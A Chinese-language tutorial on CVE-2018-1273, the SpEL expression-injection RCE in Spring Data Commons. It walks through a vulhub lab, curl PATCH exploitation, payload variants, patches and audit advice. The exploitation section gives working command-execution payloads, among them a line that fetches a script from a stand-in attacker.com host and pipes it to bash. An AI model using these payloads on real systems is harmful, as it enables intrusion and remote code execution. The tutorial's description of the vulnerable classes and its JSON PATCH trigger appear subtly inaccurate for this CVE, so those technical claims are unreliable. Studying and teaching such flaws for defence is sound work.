Spring Data Commons CVE-2018-1273漏洞剖析:SpEL表达式注入与RCE实战
1. 项目概述:一次经典的表达式注入漏洞剖析
今天我们来深入聊聊一个在安全圈里,尤其是Java应用安全领域绕不开的经典案例:Spring Data Commons的远程代码执行漏洞,编号CVE-2018-1273。如果你是一名应用开发者、安全研究员,或者正在学习渗透测试,这个漏洞绝对值得你花时间彻底搞懂。它不像某些漏洞那样需要复杂的利用链,其原理清晰、影响直接,完美地展示了“框架的便捷性”与“安全性”之间的微妙平衡是如何被打破的。简单来说,这个漏洞允许攻击者通过向使用了Spring Data REST的Web应用发送一个精心构造的HTTP请求,就能在服务器上执行任意代码,危害等级极高。
为什么说它经典?首先,它发生在Spring这样一个全球最主流的Java开发框架生态中,波及范围极广。其次,它的根源在于Spring Expression Language(SpEL)表达式的滥用,这是一种在Spring生态中广泛用于实现动态求值的高级特性。当框架试图“聪明地”帮我们处理用户输入,将其绑定到复杂对象上时,如果没有进行严格的校验和过滤,这种“聪明”就会变成致命的弱点。CVE-2018-1273正是这样一个典型案例:框架为了方便,允许通过URL参数直接映射到实体类的嵌套属性,但在解析这些嵌套属性的路径时,错误地执行了其中可能包含的SpEL表达式。复现这个漏洞,不仅能让你掌握一种具体的攻击手法,更能深刻理解“表达式注入”这类安全问题的核心模式,在日后开发或审计中,对类似@Query注解、Thymeleaf模板、乃至各种规则引擎的处理都会多一份警惕。
2. 漏洞原理深度解析:当数据绑定遇上SpEL表达式
要理解CVE-2018-1273,我们必须先拆解Spring Data REST在处理PATCH、POST等请求时,其数据绑定的内部机制。Spring Data REST是基于Spring Data项目构建的,它能自动将Repository暴露为RESTful API。当客户端向一个实体资源(例如/users/1)发送PATCH请求以更新部分字段时,框架需要将请求体(如JSON)中的属性值,应用到持久化上下文中找到的现有实体对象上。
2.1 核心问题:嵌套属性绑定的歧义
问题的起点在于Spring Data Commons模块中用于处理属性访问的org.springframework.data.repository.support.DomainClassPropertyEditor。为了支持通过字符串路径(如address.city)来访问嵌套对象的属性,它使用了org.springframework.data.util.DirectFieldAccessFallbackBeanWrapper类。这个类的setPropertyValue方法在解析属性路径时,其逻辑大致如下:它会尝试将路径段(即“.”分隔的每一部分)作为当前对象的属性名进行访问。如果该属性存在标准的getter/setter方法,则通过反射调用它们。如果没有,作为“回退”机制,它会尝试直接访问字段(Field Access)。
关键在于,为了支持更灵活的属性解析,这个机制允许路径段中包含特殊的表达式语法。当路径段被括号[...]包裹时,它会被识别为一个需要求值的表达式。而Spring默认使用的表达式解析器,正是功能强大的SpEL解析器。
2.2 SpEL表达式注入的形成
想象这样一个场景:我们有一个User实体,它有一个address属性,类型是Address对象。正常情况下,更新用户所在城市,我们会发送PATCH /users/1,请求体为{"address.city":"New York"}。框架会解析路径address.city,找到user.getAddress().setCity("New York")。
但是,攻击者可以发送一个畸形的路径。例如,请求体是{"address[T(java.lang.Runtime).getRuntime().exec('calc.exe')]":"test"}。框架在解析时:
- 识别出顶层属性是
address。 - 尝试解析
address后面的内容[T(java.lang.Runtime).getRuntime().exec('calc.exe')]。 - 由于它被方括号包裹,解析器将其内容
T(java.lang.Runtime).getRuntime().exec('calc.exe')当作SpEL表达式进行求值。 - SpEL引擎执行该表达式:
T(java.lang.Runtime).getRuntime()获取到Runtime单例对象,然后调用其exec("calc.exe")方法。 - 结果,服务器上的计算器程序被启动,远程代码执行达成。
这里最致命的一点在于,这个表达式求值发生在属性路径解析阶段,而不是在处理最终属性值阶段。即使后面尝试设置的属性值(如"test")是无关紧要的,甚至属性路径本身可能不对应任何真实字段,只要方括号内的SpEL表达式被成功解析和执行,攻击就生效了。这是一种典型的“副作用”利用。
2.3 影响版本与补丁分析
该漏洞影响Spring Data Commons 1.13至1.13.10(Ingalls SR10),以及2.0至2.0.5(Kay SR5)版本。Spring官方在后续版本中发布了修复。
修复的核心思想是禁用属性绑定路径中的表达式求值。补丁修改了DirectFieldAccessFallbackBeanWrapper,使其在解析嵌套属性路径时,不再将方括号内的内容传递给SpEL解析器进行求值,而是将其作为普通的属性名(或索引)来处理。例如,address[0]会被视为访问数组或List的索引,而其中的0不会被当作表达式计算。这就从根本上切断了注入通道。
注意:理解这个修复方式非常重要。它并没有试图去过滤或沙箱化SpEL表达式——因为SpEL的设计目标就是强大且灵活,完全安全地沙箱化它非常困难。最直接有效的方法是在这个不期望表达式出现的上下文中,彻底关闭表达式求值功能。这给我们一个启示:安全设计应当遵循“最小权限”原则,在不需要动态代码执行的场景,坚决不提供执行能力。
3. 漏洞复现环境搭建与靶场配置
理论清晰之后,我们动手搭建一个可以复现漏洞的环境。最快速、最干净的方式是使用Docker和现成的漏洞靶场。这里我推荐使用vulhub项目,它集成了大量常见漏洞的docker-compose环境,一键启动,非常适合学习和研究。
3.1 环境准备与工具清单
在开始前,请确保你的操作机上已经安装了以下工具:
- Docker 与 Docker Compose:这是运行靶场容器的基石。建议使用较新的稳定版本。
- Git:用于拉取
vulhub靶场代码。 - HTTP请求工具:用于发送攻击载荷。你可以选择:
- Burp Suite:功能强大的图形化渗透测试工具,方便拦截、重放和修改请求。
- cURL:命令行工具,轻量灵活,适合快速测试和脚本化。
- Postman:API测试工具,界面友好。
- Java开发环境(可选):如果你不满足于只复现攻击,还想深入调试源码,理解漏洞触发堆栈,那么需要安装JDK和IDE(如IntelliJ IDEA)。
3.2 使用Vulhub快速搭建靶场
Vulhub极大地简化了环境搭建过程。我们不需要自己去寻找有漏洞的Spring Boot应用源码、配置依赖、打包部署,只需几条命令。
# 1. 克隆 vulhub 仓库到本地(如果已有,请更新至最新) git clone https://github.com/vulhub/vulhub.git cd vulhub # 2. 进入 Spring 相关漏洞目录 cd spring/CVE-2018-1273 # 3. 使用 docker-compose 启动漏洞环境 docker-compose up -d执行上述命令后,Docker会从网络拉取预先构建好的镜像,并启动一个包含漏洞的Spring Boot应用容器。-d参数表示在后台运行。你可以使用docker-compose ps命令查看容器状态,当状态显示为Up时,说明环境已经就绪。
默认情况下,这个靶场应用会监听本地的8080端口。你可以打开浏览器访问http://your-ip:8080,如果能看到一个简单的Web界面(可能是一个空的REST API列表或欢迎页),说明环境启动成功。
实操心得:在运行
docker-compose up -d时,如果遇到端口冲突(比如你本机的8080端口已被占用),可以修改当前目录下的docker-compose.yml文件,将ports映射中的8080:8080改为其他端口,例如8090:8080,意为将容器的8080端口映射到主机的8090端口。修改后需要先运行docker-compose down停止旧容器,再重新up。
3.3 靶场应用结构浅析
通过Vulhub启动的靶场,通常是一个极简的Spring Boot应用,它可能包含以下核心部分:
- 一个实体类(Entity):例如
User,包含id、name等基本字段,可能还有一个嵌套对象属性(如address)。 - 一个Repository接口:继承自
CrudRepository或JpaRepository,并使用了@RepositoryRestResource注解,从而自动暴露REST端点。 - 预置的数据:应用启动时可能会通过
CommandLineRunner或data.sql脚本插入一两条测试数据。
这个简单的结构足以触发漏洞,因为它具备了漏洞所需的全部要素:一个通过Spring Data REST暴露的实体资源端点,以及支持属性绑定的机制。我们不需要一个完整的前端,因为攻击直接作用于REST API。
4. 漏洞利用实战:手工构造与执行攻击
环境就绪,现在我们进入最关键的环节——手工构造攻击请求,亲眼见证漏洞被触发。我们将使用cURL命令行工具进行演示,因为它最直接,也便于理解请求的原始格式。
4.1 探测API端点
首先,我们需要找到可以进行数据更新的REST端点。Spring Data REST默认的端点规则是/实体名/{id}。对于常见的User实体,其端点可能就是/users。我们可以先发送一个GET请求来探测。
curl -s http://localhost:8080/users | python -m json.tool或者直接浏览器访问http://localhost:8080/users。如果返回一个用户列表(可能是空的或包含预设数据),记下其中一个用户的id,例如1。那么对应的资源URL就是/users/1。
4.2 构造恶意PATCH请求
漏洞主要通过PATCH方法触发,因为PATCH用于局部更新,会触发我们前面提到的属性绑定逻辑。当然,在某些配置下,POST(创建)和PUT(全量更新)也可能受影响,但PATCH是最典型的场景。
下面是一个最经典的利用载荷,旨在目标服务器上执行touch /tmp/success命令,创建一个文件作为执行成功的标志。
curl -X PATCH http://localhost:8080/users/1 \ -H "Content-Type: application/json" \ -d '{ "name": "hacked", "email[T(java.lang.Runtime).getRuntime().exec(\"touch /tmp/success\")]": "test" }'请求拆解:
-X PATCH:指定使用PATCH方法。-H "Content-Type: application/json":设置请求头,告诉服务器我们发送的是JSON数据。这是必须的。-d:后面跟的是请求体数据。- 请求体JSON:这里我们试图更新
name字段和一个“伪造”的字段。"name": "hacked":这是一个正常的更新,用于验证请求基本是成功的。"email[T(...)]": "test":这是恶意载荷。我们假设User实体有一个email字段。email后面的[T(...).exec(...)]会被解析。括号内的SpEL表达式T(java.lang.Runtime).getRuntime().exec(\"touch /tmp/success\")会被执行。注意,JSON字符串中的双引号需要用反斜杠\进行转义。
4.3 验证攻击结果
发送请求后,如果服务器返回了200 OK或204 No Content(更新成功),并不直接意味着命令执行成功,因为SpEL表达式求值可能发生在属性绑定过程中,而HTTP响应只表示资源更新流程(可能因属性不存在而忽略)走完了。
我们需要进入Docker容器内部验证命令是否执行:
# 首先查看运行的容器ID docker ps | grep spring-cve-2018-1273 # 假设容器ID是 abc123def docker exec -it abc123def /bin/bash # 进入容器后,检查文件是否创建 ls -la /tmp/success如果看到/tmp/success这个文件,恭喜你,漏洞复现成功!远程代码执行已经发生。
4.4 利用技巧与载荷变形
直接执行系统命令是最直观的,但在实际渗透测试中,我们可能需要更复杂的操作,比如反弹Shell、下载文件等。由于SpEL功能强大,我们可以进行多种变形:
1. 使用ProcessBuilder(绕过可能的Runtime限制):
"foo[T(java.lang.ProcessBuilder).start()]": "test"但ProcessBuilder的构造函数参数是列表,在SpEL中构造列表比较麻烦。更常见的是直接调用Runtime。
2. 执行带参数的命令:
"foo[T(java.lang.Runtime).getRuntime().exec('sh -c \"curl http://attacker.com/shell.sh | bash\"')]": "test"注意命令中的引号嵌套和转义,在JSON中会非常复杂,容易出错。通常建议先将命令写入一个脚本,然后执行。
3. 利用SpEL进行信息收集:在真正执行命令前,可以先探测环境:
"foo[T(java.lang.System).getProperty('java.version')]": "test"发送请求后,查看服务器响应(有时表达式结果可能会被包含在错误信息或日志中),或者通过外带信道(DNS、HTTP)把信息带出来。
重要注意事项:在实战或授权测试中,绝对不要使用像
rm -rf /或格式化磁盘这类破坏性命令。这不仅是职业道德问题,更可能触犯法律。我们的目标永远是证明漏洞存在,而非造成损害。使用touch、whoami、id或向自己控制的服务器发起无害连接(如ping或curl)是更可取的方式。
5. 漏洞修复方案与安全开发建议
复现漏洞是为了更好地防御它。对于CVE-2018-1273,修复方案非常明确。
5.1 官方修复与升级
最根本的解决方案是升级Spring Data Commons到安全版本。
- 对于Spring Data Commons 1.x 分支,应升级至1.13.11 (Ingalls SR11)或更高。
- 对于Spring Data Commons 2.x 分支,应升级至2.0.6 (Kay SR6)或更高。
升级通常只需要在项目的依赖管理文件(如Maven的pom.xml或Gradle的build.gradle)中修改对应版本号即可。例如在Maven中:
<!-- 对于Spring Boot 1.x 项目,对应Ingalls系列 --> <dependency> <groupId>org.springframework.data</groupId> <artifactId>spring-data-commons</artifactId> <version>1.13.11.RELEASE</version> <!-- 确保是这个或更高版本 --> </dependency> <!-- 对于Spring Boot 2.x 项目,对应Kay系列 --> <dependency> <groupId>org.springframework.data</groupId> <artifactId>spring-data-commons</artifactId> <version>2.0.6.RELEASE</version> <!-- 确保是这个或更高版本 --> </dependency>使用Spring Boot的父工程或BOM(如spring-boot-dependencies)可以更方便地管理版本,确保整个生态组件的兼容性。
5.2 临时缓解措施
如果因为某些原因无法立即升级,可以考虑以下临时缓解方案,但请注意,这些都不是根治方法:
- 禁用嵌套属性绑定:在Spring配置中,可以尝试配置
WebDataBinder,禁止绑定嵌套路径。但这可能会影响应用正常功能,需要全面测试。 - 输入验证与过滤:在Controller层或通过AOP全局拦截,对传入的请求参数名进行严格检查,拒绝包含方括号
[]的疑似恶意参数名。但这属于黑名单机制,可能存在绕过风险。 - 禁用Spring Data REST:如果业务不需要自动生成的REST端点,可以考虑移除
spring-boot-starter-data-rest依赖,或者通过配置spring.data.rest.detection-strategy将其禁用。
5.3 面向开发者的深度安全建议
这个漏洞给所有开发者上了一堂生动的安全课:
- 谨慎对待用户输入:永远不要信任客户端传来的任何数据。无论是URL参数、请求体、还是Header,都必须经过严格的验证和过滤。这个漏洞中,攻击载荷正是隐藏在看似普通的JSON属性名中。
- 理解框架的“魔法”:Spring等现代框架提供了大量“约定优于配置”的魔法,极大地提升了开发效率。但作为开发者,我们有责任去理解这些魔法背后的基本原理。当框架自动为你绑定数据时,你需要知道它经过了哪些步骤,在哪里可能引入风险。
- 表达式语言的危险性:SpEL、OGNL、MVEL等表达式语言非常强大,但一旦与用户输入结合,就是高危组合。确保表达式只在完全受控、输入可信的环境下使用(如内部配置、管理员后台)。在面向用户的接口中,应尽量避免动态执行表达式,或使用经过严格沙箱化的解析器。
- 依赖组件安全管理:使用软件成分分析(SCA)工具定期扫描项目依赖,及时获取漏洞情报并更新有漏洞的库。将CVE监控纳入开发运维流程。
- 最小权限原则:运行Java应用的服务器账户,不应具有过高权限(如root)。这样即使发生RCE,攻击者能造成的破坏也相对有限。
6. 漏洞挖掘与审计中的启发
从防御者视角跳转到攻击者或审计者视角,CVE-2018-1273能给我们带来哪些挖掘类似漏洞的启发呢?
6.1 关注框架的“特性”接口
漏洞往往出现在框架为了提供灵活性而设计的“特性”上。对于Spring生态,以下方向值得重点关注:
- 数据绑定端点:任何允许通过HTTP请求参数(查询参数、表单数据、JSON路径)直接绑定到Java对象属性的接口。关注
@RequestParam、@ModelAttribute、@RequestBody的处理过程,特别是支持嵌套属性、集合映射的场景。 - 查询方法派生:Spring Data JPA中通过方法名自动派生查询的功能(
findBy...)。如果方法名本身来自不可信源(虽然罕见),也可能存在问题。更常见的是@Query注解中使用SpEL,如@Query("select u from User u where u.name = ?#{#name}"),如果#name参数用户可控,就可能引发注入。 - 视图模板引擎:Thymeleaf、FreeMarker等模板引擎如果处理不当,也可能导致表达式注入或服务端模板注入(SSTI)。
- 消息转换与序列化:Jackson、Gson等库在反序列化时,如果配置不当或存在已知漏洞(如Jackson的CVE-2017-7525),也可能导致问题。
6.2 黑盒与白盒测试手法
黑盒测试(无源码):
- 模糊测试(Fuzzing):针对所有接收JSON/XML的PATCH、POST、PUT接口,在属性名中插入各种SpEL表达式载荷,例如
username[T(java.lang.Runtime).getRuntime().exec('calc')]、list[0][T(...)]等。观察服务器响应时间、错误信息、或是否有异常网络连接(DNS/HTTP请求)发出。 - 错误信息分析:有时服务器处理错误的SpEL表达式时,会在HTTP 500错误响应中泄露部分栈信息或表达式片段,这能帮助确认漏洞是否存在以及使用的技术栈。
- 参数污染:同时提交正常参数和恶意参数,观察应用行为。
白盒审计(有源码):
- 全局搜索:在代码库中搜索关键词:
@RepositoryRestResource、@Query(尤其是包含?#的SpEL)、EvaluationContext、SpelExpressionParser、parseExpression等。 - 跟踪数据流:从Controller的入口方法开始,跟踪用户可控的参数,看其最终是否被传递到了
BeanWrapper的setPropertyValue、DataBinder的bind方法,或者SpEL的parseExpression/getValue方法中。 - 审查配置:检查是否有不安全的SpEL解析器配置,例如使用了
StandardEvaluationContext而非更安全的SimpleEvaluationContext(Spring 4.3+引入,用于限制SpEL功能)。
6.3 自动化工具辅助
手动测试效率有限,可以借助一些工具:
- Burp Suite插件:如
Spring Boot Actuator Exploiter、SpringSpEL等插件,可以辅助生成和测试Spring相关的攻击载荷。 - 自定义扫描脚本:使用Python的
requests库编写脚本,批量对目标接口进行SpEL载荷测试。 - SAST工具:在开发阶段使用静态应用安全测试工具(如SonarQube、Checkmarx、Fortify)扫描代码,它们通常有规则能识别不安全的SpEL使用。
7. 从CVE-2018-1273看表达式注入的通用防御
CVE-2018-1273不是一个孤例,它是“表达式注入”漏洞家族的一个典型代表。从这次事件中,我们可以提炼出防御此类漏洞的通用思路。
1. 使用安全的表达式上下文:这是最重要的原则。在Spring中,SpEL有两种主要的求值上下文:
StandardEvaluationContext:功能完整,可以执行任意代码,极度危险,不应在任何处理用户输入的场景中使用。SimpleEvaluationContext:Spring 4.3+引入,通过构造器可以严格限制允许访问的属性、函数和类型。在处理任何可能包含用户输入的场景时,必须使用SimpleEvaluationContext。
例如,安全的用法应该是:
SpelExpressionParser parser = new SpelExpressionParser(); EvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build(); // 或者限制更严格的上下文 Expression exp = parser.parseExpression("name"); String value = exp.getValue(context, rootObject, String.class);2. 输入白名单校验:对于明确知道参数格式的场景,采用白名单校验。例如,如果某个参数只允许是字母数字,那么使用正则表达式^[a-zA-Z0-9]+$进行严格匹配,拒绝任何包含特殊字符(如[]().等)的输入。
3. 沙箱与隔离:如果业务必须执行动态表达式,考虑在独立的、权限受限的沙箱环境中运行。例如,使用Java安全管理器(SecurityManager)配置严格的策略文件,或者在一个完全隔离的容器(Docker)中运行表达式解析服务。但实现一个真正安全的沙箱非常复杂,应作为最后的手段。
4. 代码审查与安全培训:将“表达式注入”作为安全编码规范的一部分,在团队内进行培训。在代码审查中,重点关注任何动态执行代码的地方,特别是那些参数来自外部的场景。
5. 依赖与漏洞管理:建立完善的软件供应链安全管理流程。使用自动化工具监控项目依赖,及时获取如CVE-2018-1273这类公开漏洞的情报,并制定清晰的补丁更新策略。对于不再维护的旧版本框架,应制定迁移计划。
回过头看,CVE-2018-1273的修复其实正是践行了第一条原则:在不该出现表达式求值的地方(属性路径解析),彻底关闭了表达式求值功能。这比尝试去过滤恶意表达式要可靠得多。在安全领域,“默认拒绝”的策略往往比“默认允许再过滤”更为有效。作为开发者,我们在享受框架便利的同时,必须时刻对框架自动完成的工作保持警惕,理解其边界和风险,才能构建出真正健壮的应用。